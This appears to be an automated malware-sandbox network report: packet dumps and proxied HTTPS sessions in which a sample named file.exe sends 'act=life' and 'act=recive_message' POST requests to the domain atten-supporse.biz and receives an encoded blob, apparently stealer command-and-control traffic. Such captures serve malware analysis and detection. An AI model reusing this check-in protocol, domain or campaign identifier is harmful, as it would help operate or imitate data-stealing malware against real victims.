Nov 30, 2024 04:12:25.389525890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 04:12:25.389539003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 04:12:25.389681101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 04:12:25.389693022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 04:12:25.389704943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 04:12:25.389717102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 04:12:25.389904976 CET	1236	IN	Data Raw: fa 36 1e 8a d2 93 1f 4f 5b 82 1d c7 4b b8 7a 79 f7 cf 84 69 b8 6d 71 29 87 48 53 48 21 cd e3 5e b3 ba c9 ed 1c ab a4 a9 03 03 5b 7f 2c 71 0f 4a 68 49 3f 79 a4 3c 12 45 5a 6b 1c 43 6a 41 d6 5b 6c 34 2f 89 d2 3f 2b a1 b6 58 3e 3f 48 52 1c da 94 1b Data Ascii: 6O[Kzyimq)HSH!^[,qJhI?y<EZkCjA[l4/?+X>?HR-nLTI\-",\:eS7K^6/Xog$M=0ZHX1?VJ(#-7FQ'JT^WKqv-m3+Cb[mQ/SUf95ytVWL4ZRaXXig+>^Vm%T%\[) G%\4(
Nov 30, 2024 04:12:25.389951944 CET	1236	IN	Data Raw: e6 37 35 9f 0e 37 39 6b f7 22 be 7f 51 5a 33 f8 98 62 2f 83 ca 6d 51 68 88 bf 59 8f 6e 7a 29 8a 98 62 69 69 fa 9a 6d 8c ff 2d ab 07 6f 37 75 89 98 96 35 b7 ca 7e 85 7d bc d3 8f c3 96 5a 91 60 c8 5b c9 e3 51 b6 22 11 6f ba 41 8a d8 4b a9 d7 e0 f2 Data Ascii: 7579k"QZ3b/mQhYnz)biim-o7u5~}Z`[Q"oAK]R`7 iC^]]aIk,bi16>_ICRHyNZ$7IrRx6bbfurHYzeCB`7dVM.4z`QbMm=n>uJElj]mJN
Nov 30, 2024 04:12:25.389962912 CET	1236	IN	Data Raw: af 54 2e 90 c4 72 35 5c ab 9f e5 89 63 1e 25 fe 5d 2d 37 b7 9e 47 59 30 53 90 64 a8 bd 12 8b 2d b5 5f 63 ba 5c b3 57 4e e9 91 0a 5d 78 4c 6a 20 a9 3a 89 99 4e 9d a6 ab 68 2a 93 ab b9 8d 85 e4 e0 47 81 78 6a 91 79 92 5f 04 ca 8a d6 e7 4e db 1b 20 Data Ascii: T.r5\c%]-7GY0Sd-_c\WN]xLj :NhGxjy_N FV)YHza#L0]Uym&sRZ0qG=r\d"bXD~acUDUpD\FjB@{Vu/f?7oi7p OUm,[cZ"3^Xjf1%
Nov 30, 2024 04:12:25.509653091 CET	1236	IN	Data Raw: 57 7f fe 33 81 4e 14 63 7c d2 1a 4e 35 2e 57 6a 4c 47 23 ca 4c 4e 75 57 49 64 01 b0 4f 3f 00 7b 4c 3e 7b 95 99 4b c7 1c cc 13 11 c1 ad fd 32 f8 97 f8 8d 8e af 9c 3d 47 98 2c 27 9e b6 8b 81 95 46 99 7f 8c bc 8d 76 38 19 57 20 1a 09 a1 84 cc b8 12 Data Ascii: W3Nc\|N5.WjLG#LNuWIdO?{L>{K2=G,'Fv8W { G5YJT#g[#oJJKytXDZ5}E$aFtwlRIe)xaJzoDR`1P4xrZy^sa{=N?~IR%bbZ^1^=jK7IuvjMs,<RVlY=0c

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49706	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:11:55 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 45 6e 42 34 70 6f 42 67 30 57 70 6a 39 34 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 63 34 36 65 36 32 65 31 32 30 61 62 33 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TEnB4poBg0Wpj946.1Context: 67c46e62e120ab3a
2024-11-30 03:11:55 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:11:55 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 54 45 6e 42 34 70 6f 42 67 30 57 70 6a 39 34 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 63 34 36 65 36 32 65 31 32 30 61 62 33 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: TEnB4poBg0Wpj946.2Context: 67c46e62e120ab3a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:11:55 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 54 45 6e 42 34 70 6f 42 67 30 57 70 6a 39 34 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 63 34 36 65 36 32 65 31 32 30 61 62 33 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: TEnB4poBg0Wpj946.3Context: 67c46e62e120ab3a
2024-11-30 03:11:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:11:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 65 47 6d 43 5a 66 67 76 6b 47 36 6a 79 47 58 52 6c 47 69 30 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: beGmCZfgvkG6jyGXRlGi0Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49707	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-11-30 03:12:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-30 03:12:03 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bgr4elo83mji67102tt5ugkqle; expires=Tue, 25-Mar-2025 20:58:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=no7M2MvwmKdU5eswRkseqyeQHkhBLk2WZEWM9wncfckmvd%2BWpW1I%2FcHT4MIsO3L0ZfUPyu0kTzQwUSWqyVpvriXH2VL1SQbEAZA3TALrsd3WOjHeC%2BFZuiGm7UjkNjlHGB6In3U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a7521886c342-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1629&rtt_var=640&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1792510&cwnd=150&unsent_bytes=0&cid=22d15fd8af57c775&ts=882&x=0"
2024-11-30 03:12:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-30 03:12:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49709	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-11-30 03:12:04 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-30 03:12:05 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fa8v8dqa5mbf3l1skeatai49fk; expires=Tue, 25-Mar-2025 20:58:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RQgsLbTX8zKeCEoii2YyLhbkZqZxE8Is7BKVtEqk8ywpDQkB7ss4tkTLaWzh8Z2E8pf2vqhve%2Fwpjk3nguXkhPT0%2FXPoXFByt2f0klAFVwICdgoDEXFhimCMUNfwkXlS0t23tJY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a7607de74258-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&min_rtt=1603&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1821584&cwnd=172&unsent_bytes=0&cid=bbec1a0b2a34935a&ts=813&x=0"
2024-11-30 03:12:05 UTC	356	IN	Data Raw: 34 34 38 38 0d 0a 38 43 53 58 45 35 38 6c 33 36 6f 65 43 45 32 43 66 6e 6c 35 43 36 6a 72 52 6b 42 37 49 58 74 2f 57 6e 34 61 6b 4b 74 43 47 73 2b 4c 42 75 45 78 70 52 48 7a 69 47 31 74 62 37 67 4b 43 77 78 75 68 4d 6b 6e 4a 46 6b 62 48 52 34 32 44 58 2b 38 69 54 52 33 37 63 70 43 39 6e 2f 73 51 50 4f 49 65 33 42 76 75 43 55 43 57 32 37 47 79 58 78 69 48 6b 73 5a 48 6a 59 63 65 2f 76 45 4d 6e 61 73 6d 45 6a 77 65 2f 70 47 75 38 74 79 5a 53 6a 6e 47 78 67 54 5a 63 47 47 4c 69 31 5a 44 56 6b 61 49 46 77 67 73 75 59 6e 62 71 36 39 52 65 52 34 76 56 6a 7a 30 54 78 74 49 36 42 45 57 78 68 75 79 6f 63 67 4a 42 42 4a 45 78 63 2b 48 58 37 36 32 79 74 38 70 35 68 47 38 33 72 77 54 36 2f 47 65 47 49 6a 34 52 45 59 57 79 65 4b 6a 6a 78 69 51 51 4e 4b 4c 7a 73 4e 61 Data Ascii: 44888CSXE58l36oeCE2Cfnl5C6jrRkB7IXt/Wn4akKtCGs+LBuExpRHziG1tb7gKCwxuhMknJFkbHR42DX+8iTR37cpC9n/sQPOIe3BvuCUCW27GyXxiHksZHjYce/vEMnasmEjwe/pGu8tyZSjnGxgTZcGGLi1ZDVkaIFwgsuYnbq69ReR4vVjz0TxtI6BEWxhuyocgJBBJExc+HX762yt8p5hG83rwT6/GeGIj4REYWyeKjjxiQQNKLzsNa
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 33 61 64 47 45 6b 35 51 34 51 45 6d 54 48 69 53 6b 6f 46 6b 41 5a 47 6a 49 57 64 2f 6a 4e 4c 58 57 72 6b 6b 61 31 50 37 31 41 70 59 67 6b 4b 67 7a 6c 44 42 77 58 66 34 69 7a 5a 44 31 58 57 6c 6b 61 4e 46 77 67 73 73 45 6c 65 36 36 5a 53 66 5a 35 39 6c 57 39 32 6e 70 6e 4b 76 49 61 48 68 56 6a 79 5a 73 75 4c 42 39 41 45 42 59 78 47 58 2f 32 69 57 34 34 71 6f 6f 47 72 54 48 63 53 72 62 45 64 6e 30 76 6f 41 4e 56 41 69 6e 4e 68 57 52 36 57 55 63 59 47 54 6b 59 64 76 7a 4e 4c 48 36 6a 6e 30 6e 7a 65 2f 31 41 74 38 42 30 61 79 4c 72 45 78 73 65 5a 4d 36 50 4b 43 4d 63 41 31 64 64 50 77 51 34 71 6f 6b 4f 66 36 36 41 42 4d 42 79 38 30 6d 36 33 6a 78 31 59 66 6c 63 48 42 63 70 6b 73 6b 71 4a 78 5a 52 47 41 38 39 45 6d 72 2b 7a 43 5a 31 72 70 78 47 38 48 62 77 53 Data Ascii: 3adGEk5Q4QEmTHiSkoFkAZGjIWd/jNLXWrkka1P71ApYgkKgzlDBwXf4izZD1XWlkaNFwgssEle66ZSfZ59lW92npnKvIaHhVjyZsuLB9AEBYxGX/2iW44qooGrTHcSrbEdn0voANVAinNhWR6WUcYGTkYdvzNLH6jn0nze/1At8B0ayLrExseZM6PKCMcA1ddPwQ4qokOf66ABMBy80m63jx1YflcHBcpkskqJxZRGA89Emr+zCZ1rpxG8HbwS
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 31 59 66 6c 63 48 42 63 70 6b 73 6b 6f 4b 78 6c 49 45 78 6b 34 47 33 58 33 79 69 64 37 6f 4a 56 4d 2b 33 62 35 53 37 54 46 65 6d 6f 6f 35 42 6b 4a 48 6d 44 47 68 57 52 73 57 55 51 42 58 57 42 63 56 2f 58 66 49 31 65 75 67 30 2b 31 62 72 4e 65 2f 63 39 77 4b 6e 65 67 47 78 34 54 59 73 79 42 4a 44 41 63 54 52 49 63 4d 68 70 35 2f 38 55 6d 65 4b 79 53 51 50 6c 78 2b 6b 43 76 32 6e 6c 73 50 65 70 63 56 56 74 75 30 73 6c 38 59 69 39 54 44 67 77 75 58 6b 33 78 78 79 35 2f 75 39 4a 5a 75 32 69 39 51 4c 47 49 4a 43 6f 6b 34 42 41 63 45 32 2f 4f 67 53 73 74 45 46 45 59 45 54 59 4f 66 2f 4c 41 4c 6e 65 68 6d 30 76 79 66 50 5a 4e 73 4d 78 37 61 32 2b 75 58 42 77 44 4b 5a 4c 4a 45 6a 49 55 54 7a 63 57 4e 42 55 34 37 59 63 35 4f 4b 71 65 42 71 30 78 2b 55 75 31 77 6e Data Ascii: 1YflcHBcpkskoKxlIExk4G3X3yid7oJVM+3b5S7TFemoo5BkJHmDGhWRsWUQBXWBcV/XfI1eug0+1brNe/c9wKnegGx4TYsyBJDAcTRIcMhp5/8UmeKySQPlx+kCv2nlsPepcVVtu0sl8Yi9TDgwuXk3xxy5/u9JZu2i9QLGIJCok4BAcE2/OgSstEFEYETYOf/LALnehm0vyfPZNsMx7a2+uXBwDKZLJEjIUTzcWNBU47Yc5OKqeBq0x+Uu1wn
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 47 42 77 66 62 38 58 4a 61 6d 49 65 57 31 6c 46 65 44 4e 66 78 34 73 42 51 75 32 4e 43 4f 77 78 2b 6b 76 39 6b 44 78 6d 4c 4f 77 55 46 42 31 67 78 6f 4d 74 4b 52 56 49 48 52 45 78 47 58 37 7a 7a 43 56 35 71 5a 35 4d 38 33 4c 2b 53 4c 4c 48 64 43 70 68 6f 42 73 44 57 7a 47 4b 72 44 4d 70 46 30 56 5a 41 6e 59 46 4f 50 58 46 59 43 44 74 6e 6b 2f 7a 64 2f 68 4c 76 4d 35 30 62 79 66 6b 48 52 30 64 61 73 57 4e 49 53 4d 57 52 78 55 54 4d 68 31 35 2f 73 49 76 63 36 6a 53 43 4c 56 32 35 51 66 6c 69 45 31 70 4f 66 63 4d 46 31 74 32 68 4a 42 6b 4a 52 55 44 51 56 30 35 44 6e 4c 34 78 79 56 33 71 4a 46 4a 38 6e 7a 37 53 37 66 42 64 47 77 67 36 51 34 59 46 32 66 4e 68 79 67 73 46 45 6b 61 45 48 68 53 4f 50 58 52 59 43 44 74 76 6b 48 34 58 2f 5a 4c 75 6f 68 6a 4a 44 61 Data Ascii: GBwfb8XJamIeW1lFeDNfx4sBQu2NCOwx+kv9kDxmLOwUFB1gxoMtKRVIHRExGX7zzCV5qZ5M83L+SLLHdCphoBsDWzGKrDMpF0VZAnYFOPXFYCDtnk/zd/hLvM50byfkHR0dasWNISMWRxUTMh15/sIvc6jSCLV25QfliE1pOfcMF1t2hJBkJRUDQV05DnL4xyV3qJFJ8nz7S7fBdGwg6Q4YF2fNhygsFEkaEHhSOPXRYCDtvkH4X/ZLuohjJDa
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 48 47 4b 30 57 51 55 48 6c 4d 4a 48 6e 6f 74 62 76 48 66 4b 33 57 68 30 6c 6d 37 61 4c 31 41 73 59 67 6b 4b 69 6e 76 46 52 67 55 61 4d 4f 46 4b 53 63 51 52 68 67 62 50 42 5a 79 38 73 38 6d 65 61 69 59 52 66 52 37 39 45 43 31 7a 33 39 34 62 36 35 63 48 41 4d 70 6b 73 6b 4e 4a 51 74 4e 43 56 30 6e 55 6d 47 79 7a 69 77 34 39 64 4a 43 2f 33 37 35 51 4c 48 4f 65 57 77 69 34 52 4d 61 47 32 62 4f 67 69 30 6b 47 45 34 63 45 44 77 4f 63 76 6e 47 4c 48 47 68 6e 77 61 37 4d 66 70 66 2f 5a 41 38 57 79 4c 75 45 68 77 4e 4b 64 58 48 50 57 49 65 54 31 6c 46 65 42 31 30 2f 63 6f 76 65 36 36 54 54 4f 64 6a 38 55 36 31 7a 58 42 68 49 65 59 4f 48 52 52 67 79 59 6f 74 4a 52 46 50 45 78 34 2f 58 44 61 79 7a 6a 67 34 39 64 4a 6c 34 6d 48 77 42 36 4b 47 5a 53 6f 6f 37 46 78 44 Data Ascii: HGK0WQUHlMJHnotbvHfK3Wh0lm7aL1AsYgkKinvFRgUaMOFKScQRhgbPBZy8s8meaiYRfR79EC1z394b65cHAMpkskNJQtNCV0nUmGyziw49dJC/375QLHOeWwi4RMaG2bOgi0kGE4cEDwOcvnGLHGhnwa7Mfpf/ZA8WyLuEhwNKdXHPWIeT1lFeB10/cove66TTOdj8U61zXBhIeYOHRRgyYotJRFPEx4/XDayzjg49dJl4mHwB6KGZSoo7FxD
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 77 69 4c 52 5a 4b 45 42 6b 77 48 33 6a 32 7a 53 64 39 72 70 35 4e 38 6e 4c 79 51 37 54 47 64 57 56 76 72 6c 77 63 41 79 6d 53 79 51 55 35 47 6b 38 55 58 53 64 53 59 62 4c 4f 4c 44 6a 31 30 6b 72 37 64 50 31 4e 75 38 78 35 62 43 58 6c 48 42 41 59 5a 73 36 50 49 43 30 5a 53 42 41 63 50 68 6c 79 2b 63 38 74 65 36 75 55 42 72 73 78 2b 6c 2f 39 6b 44 78 4b 4e 4f 30 51 48 46 74 32 68 4a 42 6b 4a 52 55 44 51 56 30 7a 45 48 7a 31 79 53 31 37 70 5a 64 43 2f 33 54 39 54 36 2f 41 66 47 30 39 38 68 77 53 48 6d 58 4a 69 53 41 6b 45 45 55 61 47 58 68 53 4f 50 58 52 59 43 44 74 76 30 72 79 57 50 70 63 2f 64 63 79 63 32 2f 6e 45 46 74 44 4b 63 75 43 4c 69 30 55 51 42 38 65 4d 78 6c 79 38 38 34 6f 64 62 2b 52 53 66 70 31 2f 55 69 37 7a 6e 31 6c 4b 65 63 56 47 68 4e 75 69 Data Ascii: wiLRZKEBkwH3j2zSd9rp5N8nLyQ7TGdWVvrlwcAymSyQU5Gk8UXSdSYbLOLDj10kr7dP1Nu8x5bCXlHBAYZs6PIC0ZSBAcPhly+c8te6uUBrsx+l/9kDxKNO0QHFt2hJBkJRUDQV0zEHz1yS17pZdC/3T9T6/AfG098hwSHmXJiSAkEEUaGXhSOPXRYCDtv0ryWPpc/dcyc2/nEFtDKcuCLi0UQB8eMxly884odb+RSfp1/Ui7zn1lKecVGhNui
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 2b 56 52 4d 61 4b 42 74 76 2f 59 6c 75 4f 4b 4c 53 48 73 77 78 39 45 43 6d 32 57 70 6e 50 2b 64 63 4a 46 55 70 30 73 6c 38 59 69 78 41 46 78 4d 2f 43 6d 6d 2f 37 6a 5a 79 71 6f 4a 42 34 6e 36 39 43 66 33 4f 50 44 4a 38 72 6c 77 66 43 69 6d 53 32 58 5a 35 54 42 42 4f 54 57 6f 44 4e 75 75 4a 4e 6a 6a 31 77 41 69 31 59 37 30 66 2f 59 39 2f 65 44 33 6d 48 77 30 59 4c 76 53 33 41 7a 67 55 52 51 34 4d 42 69 4a 2f 36 4d 51 6d 62 37 7a 65 55 2f 5a 2f 38 30 43 72 69 44 49 71 49 4b 42 45 49 6c 73 68 69 72 5a 71 59 67 45 44 51 56 30 4e 48 33 62 38 7a 6a 5a 70 34 4c 56 63 2b 48 66 71 56 76 32 47 50 47 78 76 75 45 78 56 57 32 33 62 79 58 78 79 53 78 68 4d 54 6d 39 4d 4b 75 32 48 4f 54 69 37 30 68 36 6e 50 37 31 56 2f 5a 41 38 4c 53 7a 79 44 68 30 59 66 38 6e 4f 47 68 Data Ascii: +VRMaKBtv/YluOKLSHswx9ECm2WpnP+dcJFUp0sl8YixAFxM/Cmm/7jZyqoJB4n69Cf3OPDJ8rlwfCimS2XZ5TBBOTWoDNuuJNjj1wAi1Y70f/Y9/eD3mHw0YLvS3AzgURQ4MBiJ/6MQmb7zeU/Z/80CriDIqIKBEIlshirZqYgEDQV0NH3b8zjZp4LVc+HfqVv2GPGxvuExVW23byXxySxhMTm9MKu2HOTi70h6nP71V/ZA8LSzyDh0Yf8nOGh
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 4b 44 73 53 64 76 58 66 4d 54 57 4b 6e 45 48 30 5a 2b 31 51 73 6f 67 79 4b 69 6d 67 52 45 6c 56 4b 63 36 59 5a 48 70 4a 45 55 4a 49 61 30 73 6f 6f 4e 5a 75 59 65 32 45 42 71 30 6a 73 77 65 76 69 43 51 71 61 4f 4d 4f 43 52 31 71 33 49 70 6a 48 43 64 6b 46 78 6f 35 43 6d 6a 6c 78 6d 39 57 6d 37 4e 34 79 32 54 2b 53 62 50 50 61 6e 74 76 72 6c 77 55 57 7a 48 7a 79 57 78 69 4a 67 31 5a 42 58 68 45 4f 4d 66 4b 4c 6e 61 71 68 46 65 34 56 76 4e 41 76 4e 35 73 66 53 43 76 4d 69 30 36 4b 59 54 4a 49 6d 4a 42 45 56 64 64 50 41 30 34 71 70 6c 79 49 2f 6a 42 45 61 55 6a 34 67 6d 6b 69 47 6f 71 64 37 4a 53 57 77 6b 70 6b 73 6c 6a 49 51 74 52 48 78 34 75 48 7a 2f 4d 39 77 64 32 71 70 4e 51 35 58 7a 78 5a 72 37 5a 64 6c 51 52 39 52 38 56 46 57 37 63 6d 47 52 73 57 55 78 Data Ascii: KDsSdvXfMTWKnEH0Z+1QsogyKimgRElVKc6YZHpJEUJIa0sooNZuYe2EBq0jsweviCQqaOMOCR1q3IpjHCdkFxo5Cmjlxm9Wm7N4y2T+SbPPantvrlwUWzHzyWxiJg1ZBXhEOMfKLnaqhFe4VvNAvN5sfSCvMi06KYTJImJBEVddPA04qplyI/jBEaUj4gmkiGoqd7JSWwkpksljIQtRHx4uHz/M9wd2qpNQ5XzxZr7ZdlQR9R8VFW7cmGRsWUx
2024-11-30 03:12:05 UTC	1369	IN	Data Raw: 6e 76 6b 79 6d 64 47 6b 37 39 55 38 6d 48 2b 42 59 7a 46 65 48 77 36 34 77 77 63 4a 56 66 6e 6d 79 4d 79 47 67 45 31 47 6a 55 51 52 73 7a 2b 4d 58 2b 39 30 47 44 32 5a 2f 34 48 38 34 68 6b 4b 6e 65 67 4d 51 6b 63 65 63 6e 4c 43 43 55 55 54 31 6b 43 64 67 55 34 35 49 6c 34 4b 2b 50 53 56 4c 55 70 76 51 43 2b 32 6d 35 73 4c 50 59 66 58 43 56 58 35 35 73 6a 4d 68 6f 42 4b 42 41 38 43 6d 33 78 32 53 64 47 6b 37 39 55 38 6d 48 2b 42 5a 6a 79 50 6c 73 35 34 78 77 56 48 43 6d 45 79 54 78 69 51 51 4d 30 44 7a 38 4d 65 37 44 73 47 6a 71 63 68 45 58 31 66 2f 6f 48 38 34 68 77 4b 6e 65 67 45 51 6b 63 65 63 6e 46 49 7a 67 65 41 77 5a 54 49 56 78 75 73 70 46 7a 4e 75 32 41 42 71 30 78 75 6b 6d 77 79 58 39 6b 4c 50 49 4f 48 52 68 2f 79 63 34 61 48 44 5a 49 47 41 30 31 Data Ascii: 